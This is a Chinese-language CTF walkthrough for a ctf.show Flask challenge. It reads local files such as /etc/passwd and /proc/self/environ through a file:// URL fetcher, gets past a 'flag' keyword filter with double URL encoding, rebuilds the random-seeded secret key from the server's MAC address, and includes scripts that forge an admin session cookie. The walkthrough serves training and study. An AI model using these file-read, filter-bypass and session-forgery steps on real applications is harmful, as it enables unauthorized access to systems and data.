ctf.show-Flask_Session伪造
file伪协议读取一波
- file:///etc/passwd 成功
- file:///flag 禁止访问
- 对flag进行URL编码, 依旧禁止访问
- 尝试伪造session
- 寻找secret key
- file:///proc/self/environ
- 直接拿到了flag, 但是不符合出题者意图, 继续装作没拿到
- 通过刚才的environ文件内容, 我们发现网站编写在/app目录中
- file:///app/app.py 看到源码
# encoding:utf-8
import re, random, uuid, urllib.request
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
app.debug = False@app.route('/')
def index():session['username'] = 'guest'return 'CTFshow 网页爬虫系统 <a href="/read?url=https://baidu.com">读取网页</a>'@app.route('/read')
def read():try:url = request.args.get('url')if re.findall('flag', url, re.IGNORECASE):return '禁止访问'res = urllib.request.urlopen(url)return res.read().decode('utf-8', errors='ignore')except Exception as ex:print(str(ex))return '无读取内容可以展示'@app.route('/flag')
def flag():if session.get('username') == 'admin':return open('/flag.txt', encoding='utf-8').read()else:return '访问受限'if __name__=='__main__':app.run(debug=False,host="0.0.0.0")
- 这个时候焕然大悟, 刚才为什么不尝试双重URL编码!
- file:///%25%36%36%25%36%63%25%36%31%25%36%37.txt
内容是: CTF{flask_session_is_secure}
感觉这是一个假的flag, 不过方法是可行的(但其实这个才是真的) - 还有一种方法, 那就是
/flag路径 - 开始伪造一个session
- 首先要拿到secret key
- 访问
/read?url=file:///sys/class/net/eth0/address拿到了MAC地址 - 编写生成secret key的脚本
from flask import Flask, session, request
import randomapp = Flask(__name__)mac_addr = "02:42:ac:0c:2b:d2"
mac_int = int(mac_addr.replace(":",""),16) #讲第一个参数的内容看作是16进制的数据, 然后转换为10进制的整数
#random.seed(uuid.getnode())
random.seed(mac_int)app.config['SECRET_KEY'] = str(random.random()*100)
print(app.config['SECRET_KEY'])
# secret key: 70.9083638425102
- 编写伪造session的脚本
from flask import Flask
from flask.sessions import SecureCookieSessionInterface# 1. 配置你的密钥
SECRET_KEY = '70.9083638425102'# 2. 配置你想要存入 Session 的数据
SESSION_DATA = {"username":"admin"}def generate_session(secret_key, data):app = Flask(__name__)app.secret_key = secret_key# 使用 Flask 默认的 Session 接口进行签名si = SecureCookieSessionInterface()serializer = si.get_signing_serializer(app)if serializer is None:return "Error: Secret key not set properly."return serializer.dumps(data)if __name__ == "__main__":cookie_value = generate_session(SECRET_KEY, SESSION_DATA)print(f"Generated Session Cookie:\n{cookie_value}")
- 访问/flag, 并且用上我们伪造的session, 拿到flag
